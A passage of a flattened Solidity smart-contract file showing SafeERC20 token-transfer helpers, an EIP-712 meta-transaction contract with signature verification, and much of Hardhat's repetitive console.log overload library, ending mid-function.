* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transfer.selector, to, value)
);
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, value)
);
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance =
token.allowance(address(this), spender).sub(
value,
"SafeERC20: decreased allowance below zero"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata =
address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(
abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed"
);
}
}
}
// File contracts/lib/EIP712MetaTransactionUpgradeable/EIP712BaseUpgradeable.sol
pragma solidity ^0.7.4;
contract EIP712BaseUpgradeable is Initializable {
struct EIP712Domain {
string name;
string version;
uint256 salt;
address verifyingContract;
}
bytes32 internal constant EIP712_DOMAIN_TYPEHASH =
keccak256(
bytes(
"EIP712Domain(string name,string version,uint256 salt,address verifyingContract)"
)
);
bytes32 internal domainSeperator;
function _initialize(string memory name, string memory version)
public
virtual
initializer
{
domainSeperator = keccak256(
abi.encode(
EIP712_DOMAIN_TYPEHASH,
keccak256(bytes(name)),
keccak256(bytes(version)),
getChainID(),
address(this)
)
);
}
function getChainID() internal pure returns (uint256 id) {
assembly {
id := chainid()
}
}
function getDomainSeperator() private view returns (bytes32) {
return domainSeperator;
}
/**
* Accept message hash and returns hash message in EIP712 compatible form
* So that it can be used to recover signer from signature signed using EIP712 formatted data
* https://eips.ethereum.org/EIPS/eip-712
* "\\x19" makes the encoding deterministic
* "\\x01" is the version byte to make it compatible to EIP-191
*/
function toTypedMessageHash(bytes32 messageHash)
internal
view
returns (bytes32)
{
return
keccak256(
abi.encodePacked("\x19\x01", getDomainSeperator(), messageHash)
);
}
}
// File contracts/lib/EIP712MetaTransactionUpgradeable/EIP712MetaTransactionUpgradeable.sol
pragma solidity ^0.7.4;
contract EIP712MetaTransactionUpgradeable is
Initializable,
EIP712BaseUpgradeable
{
using SafeMath for uint256;
bytes32 private constant META_TRANSACTION_TYPEHASH =
keccak256(
bytes(
"MetaTransaction(uint256 nonce,address from,bytes functionSignature)"
)
);
event MetaTransactionExecuted(
address userAddress,
address payable relayerAddress,
bytes functionSignature
);
mapping(address => uint256) private nonces;
/*
* Meta transaction structure.
* No point of including value field here as if user is doing value transfer then he has the funds to pay for gas
* He should call the desired function directly in that case.
*/
struct MetaTransaction {
uint256 nonce;
address from;
bytes functionSignature;
}
function _initialize(string memory _name, string memory _version)
public
override
initializer
{
EIP712BaseUpgradeable._initialize(_name, _version);
}
function convertBytesToBytes4(bytes memory inBytes)
internal
pure
returns (bytes4 outBytes4)
{
if (inBytes.length == 0) {
return 0x0;
}
assembly {
outBytes4 := mload(add(inBytes, 32))
}
}
function executeMetaTransaction(
address userAddress,
bytes memory functionSignature,
bytes32 sigR,
bytes32 sigS,
uint8 sigV
) public payable virtual returns (bytes memory) {
bytes4 destinationFunctionSig = convertBytesToBytes4(functionSignature);
require(
destinationFunctionSig != msg.sig,
"functionSignature can not be of executeMetaTransaction method"
);
MetaTransaction memory metaTx =
MetaTransaction({
nonce: nonces[userAddress],
from: userAddress,
functionSignature: functionSignature
});
require(
verify(userAddress, metaTx, sigR, sigS, sigV),
"Signer and signature do not match"
);
nonces[userAddress] = nonces[userAddress].add(1);
// Append userAddress at the end to extract it from calling context
(bool success, bytes memory returnData) =
address(this).call(abi.encodePacked(functionSignature, userAddress));
require(success, "Function call not successful");
emit MetaTransactionExecuted(userAddress, msg.sender, functionSignature);
return returnData;
}
function hashMetaTransaction(MetaTransaction memory metaTx)
internal
pure
returns (bytes32)
{
return
keccak256(
abi.encode(
META_TRANSACTION_TYPEHASH,
metaTx.nonce,
metaTx.from,
keccak256(metaTx.functionSignature)
)
);
}
function getNonce(address user) external view returns (uint256 nonce) {
nonce = nonces[user];
}
function verify(
address user,
MetaTransaction memory metaTx,
bytes32 sigR,
bytes32 sigS,
uint8 sigV
) internal view returns (bool) {
address signer =
ecrecover(
toTypedMessageHash(hashMetaTransaction(metaTx)),
sigV,
sigR,
sigS
);
require(signer != address(0), "Invalid signature");
return signer == user;
}
function msgSender() internal view returns (address sender) {
if (msg.sender == address(this)) {
bytes memory array = msg.data;
uint256 index = msg.data.length;
assembly {
// Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those.
sender := and(
mload(add(array, index)),
0xffffffffffffffffffffffffffffffffffffffff
)
}
} else {
sender = msg.sender;
}
return sender;
}
}
// File hardhat/[email protected]
pragma solidity >=0.4.22 <0.9.0;
library console {
address constant CONSOLE_ADDRESS =
address(0x000000000000000000636F6e736F6c652e6c6f67);
function _sendLogPayload(bytes memory payload) private view {
uint256 payloadLength = payload.length;
address consoleAddress = CONSOLE_ADDRESS;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(
gas(),
consoleAddress,
payloadStart,
payloadLength,
0,
0
)
}
}
function log() internal view {
_sendLogPayload(abi.encodeWithSignature("log()"));
}
function logInt(int256 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(int)", p0));
}
function logUint(uint256 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function logString(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function logBool(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function logAddress(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function logBytes(bytes memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes)", p0));
}
function logBytes1(bytes1 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0));
}
function logBytes2(bytes2 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0));
}
function logBytes3(bytes3 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0));
}
function logBytes4(bytes4 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0));
}
function logBytes5(bytes5 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0));
}
function logBytes6(bytes6 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0));
}
function logBytes7(bytes7 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0));
}
function logBytes8(bytes8 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0));
}
function logBytes9(bytes9 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0));
}
function logBytes10(bytes10 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0));
}
function logBytes11(bytes11 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0));
}
function logBytes12(bytes12 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0));
}
function logBytes13(bytes13 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0));
}
function logBytes14(bytes14 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0));
}
function logBytes15(bytes15 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0));
}
function logBytes16(bytes16 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0));
}
function logBytes17(bytes17 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0));
}
function logBytes18(bytes18 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0));
}
function logBytes19(bytes19 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0));
}
function logBytes20(bytes20 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0));
}
function logBytes21(bytes21 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0));
}
function logBytes22(bytes22 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0));
}
function logBytes23(bytes23 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0));
}
function logBytes24(bytes24 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0));
}
function logBytes25(bytes25 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0));
}
function logBytes26(bytes26 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0));
}
function logBytes27(bytes27 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0));
}
function logBytes28(bytes28 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0));
}
function logBytes29(bytes29 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0));
}
function logBytes30(bytes30 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0));
}
function logBytes31(bytes31 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0));
}
function logBytes32(bytes32 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0));
}
function log(uint256 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function log(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function log(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function log(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function log(uint256 p0, uint256 p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function log(uint256 p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function log(uint256 p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function log(uint256 p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function log(string memory p0, uint256 p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function log(string memory p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function log(string memory p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function log(string memory p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function log(bool p0, uint256 p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function log(bool p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function log(bool p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function log(bool p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function log(address p0, uint256 p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function log(address p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function log(address p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function log(address p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function log(
uint256 p0,
uint256 p1,
uint256 p2
) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function log(
uint256 p0,
uint256 p1,
string memory p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)
);
}
function log(
uint256 p0,
uint256 p1,
bool p2
) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function log(
uint256 p0,
uint256 p1,
address p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)
);
}
function log(
uint256 p0,
string memory p1,
uint256 p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)
);
}
function log(
uint256 p0,
string memory p1,
string memory p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)
);
}
function log(
uint256 p0,
string memory p1,
bool p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)
);
}
function log(
uint256 p0,
string memory p1,
address p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)
);
}
function log(
uint256 p0,
bool p1,
uint256 p2
) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function log(
uint256 p0,
bool p1,
string memory p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)
);
}
function log(
uint256 p0,
bool p1,
bool p2
) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function log(
uint256 p0,
bool p1,
address p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)
);
}
function log(
uint256 p0,
address p1,
uint256 p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)
);
}
function log(
uint256 p0,
address p1,
string memory p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)
);
}
function log(
uint256 p0,
address p1,
bool p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)
);
}
function log(
uint256 p0,
address p1,
address p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)
);
}
function log(
string memory p0,
uint256 p1,
uint256 p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)
);
}
function log(
string memory p0,
uint256 p1,
string memory p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)
);
}
function log(
string memory p0,
uint256 p1,
bool p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)
);
}
function log(
string memory p0,
uint256 p1,
address p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)
);
}
function log(
string memory p0,
string memory p1,
uint256 p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)
);
}
function log(
string memory p0,
string memory p1,
string memory p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)
);
}
function log(
string memory p0,
string memory p1,
bool p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)
);
}
function log(
string memory p0,
string memory p1,
address p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)
);
}
function log(
string memory p0,
bool p1,
uint256 p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)
);
}
function log(
string memory p0,
bool p1,
string memory p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)
);
}
function log(
string memory p0,
bool p1,
bool p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)
);
}
function log(
string memory p0,
bool p1,
address p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)
);
}
function log(
string memory p0,
address p1,
uint256 p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)
);
}
function log(
string memory p0,
address p1,
string memory p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)
);
}
function log(
string memory p0,
address p1,
bool p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)
);
}
function log(
string memory p0,
address p1,
address p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)
);
}
function log(
bool p0,
uint256 p1,
uint256 p2
) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function log(
bool p0,
uint256 p1,
string memory p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)
);
}
function log(
bool p0,
uint256 p1,
bool p2
) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function log(
bool p0,
uint256 p1,
address p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)
);
}
function log(
bool p0,
string memory p1,
uint256 p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)
);
}
function log(
bool p0,
string memory p1,
string memory p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)
);
}
function log(
bool p0,
string memory p1,
bool p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)
);
}
function log(
bool p0,
string memory p1,
address p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)
);
}
function log(
bool p0,
bool p1,
uint256 p2
) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2));
}
function log(
bool p0,
bool p1,
string memory p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)
);
}
function log(
bool p0,
bool p1,
bool p2
) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2));
}
function log(
bool p0,
bool p1,
address p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)
);
}
function log(
bool p0,
address p1,
uint256 p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)
);
}
function log(
bool p0,
address p1,
string memory p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)
);
}
function log(
bool p0,
address p1,
bool p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)
);
}
function log(
bool p0,
address p1,
address p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)
);
}
function log(
address p0,
uint256 p1,
uint256 p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)
);
}
function log(
address p0,
uint256 p1,
string memory p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)
);
}
function log(
address p0,
uint256 p1,
bool p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)
);
}
function log(
address p0,
uint256 p1,
address p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)
);
}
function log(
address p0,
string memory p1,
uint256 p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)
);
}
function log(
address p0,
string memory p1,
string memory p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)
);
}
function log(
address p0,
string memory p1,
bool p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)
);
}
function log(
address p0,
string memory p1,
address p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)
);
}
function log(
address p0,
bool p1,
uint256 p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)
);
}
function log(
address p0,
bool p1,
string memory p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)
);
}
function log(
address p0,
bool p1,
bool p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)
);
}
function log(
address p0,
bool p1,
address p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)
);
}
function log(
address p0,
address p1,
uint256 p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)
);
}
function log(
address p0,
address p1,
string memory p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)
);
}
function log(
address p0,
address p1,
bool p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)
);
}
function log(
address p0,
address p1,
address p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)
);
}
function log(
uint256 p0,
uint256 p1,
uint256 p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
uint256 p1,
uint256 p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
uint256 p1,
uint256 p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
uint256 p1,
uint256 p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
uint256 p1,
string memory p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
uint256 p1,
string memory p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
uint256 p1,
string memory p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
uint256 p1,
string memory p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
uint256 p1,
bool p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
uint256 p1,
bool p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
uint256 p1,
bool p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
uint256 p1,
bool p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
uint256 p1,
address p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
uint256 p1,
address p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
uint256 p1,
address p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
uint256 p1,
address p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
string memory p1,
uint256 p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
string memory p1,
uint256 p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
string memory p1,
uint256 p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
string memory p1,
uint256 p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
string memory p1,
string memory p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
string memory p1,
string memory p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
string memory p1,
string memory p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
string memory p1,
string memory p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
string memory p1,
bool p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
string memory p1,
bool p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
string memory p1,
bool p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
string memory p1,
bool p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
string memory p1,
address p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
string memory p1,
address p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
string memory p1,
address p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
string memory p1,
address p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,string,address,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
bool p1,
uint256 p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
bool p1,
uint256 p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
bool p1,
uint256 p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
bool p1,
uint256 p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
bool p1,
string memory p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
bool p1,
string memory p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
bool p1,
string memory p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
bool p1,
string memory p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
bool p1,
bool p2,
uint256 p3
) internal view {
_sendLogPayload(
